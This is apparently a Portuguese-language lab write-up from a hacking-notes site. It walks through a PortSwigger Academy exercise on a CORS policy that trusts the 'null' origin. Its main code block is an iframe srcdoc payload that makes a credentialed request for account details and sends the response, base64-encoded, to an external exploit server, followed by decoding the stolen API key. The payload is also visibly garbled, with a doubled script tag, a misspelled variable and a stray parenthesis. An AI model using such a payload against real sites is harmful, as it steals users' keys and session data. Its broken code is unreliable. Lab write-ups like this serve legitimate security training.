> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/cors/cors-null-origin-trusted.md).

# Origem Nula Confiável em CORS

Notas sobre Origem Nula Confiável em CORS para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### Vulnerabilidade de CORS com origem nula confiável

Explorar uma configuração vulnerável de CORS que confia na origem original `"null"`. O objetivo do laboratório é obter a chave da API do administrador por meio de uma consulta CORS (com `credenciais`) e enviar o código para o servidor de exploração. O laboratório é resolvido quando a chave da API do administrador é enviada com sucesso.

* O servidor retorna `Access-Control-Allow-Credentials: true`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b6daa0d16475bdf4c8bbdd18924f3d52234a1d8b%2F%7BF14DF671-1D17-46A2-AB9F-F3A775778B8C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Quando o `Origin: jord4n.pro` cabeçalho é enviado, o domínio não é refletido.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-813478c976322b082d052040566b5136fa2811a7%2F%7BCF9635A6-38F2-45F1-A377-3B6F8EF364F5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

No entanto, ao enviar `Origin: null`, a resposta aceita e reflete esse valor.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e8aa4106218966391d71858d2b4a32d185d590c8%2F%7B089F3980-7237-4145-B15D-BE7AAE033760%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Force uma solicitação a partir de uma página com origem `null` origem (por exemplo, via `iframe` usando `srcdoc`) para que a resposta CORS considere a origem confiável e retorne os dados (com cookies usando `withCredentials`).

```javascript
<iframe sandbox="allow-scripts" srcdoc="<<script>
    varrreq = new XMLHttpRequest();
    req.onload = function() {
    location = "https://exploit-0a3a00ab047b89dd8023021101ef0012.exploit-server.net/?apikey=" + btoa(req.responseText);
    );
    req.open("GET", "https://0a280071045626f880090316003b0053.web-security-academy.net/accountDetails", true);
    req.withCredentials = true;
    req.send();
</script>"></iframe>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a60de0d9836b763ad148cabe1679af6794d666c2%2F%7BCD4C44D4-A7FB-476E-B5B0-8E288F1E9EBE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

> Observação: o princípio é executar este código a partir de `null` origem (iframe `srcdoc`) para que a resposta CORS, que aceita `null`, retorne dados sensíveis, incluindo cookies.

A chave recuperada, decodificada de Base64:

```bash
echo "NkhBVGdaVWdUb0t2QU5PbXNzanRyY1pDRlpUQUVFYjk=" | base64 -d; echo
6HATgZUgToKvANOmssjtrcZCFZTAEEb9
```


---

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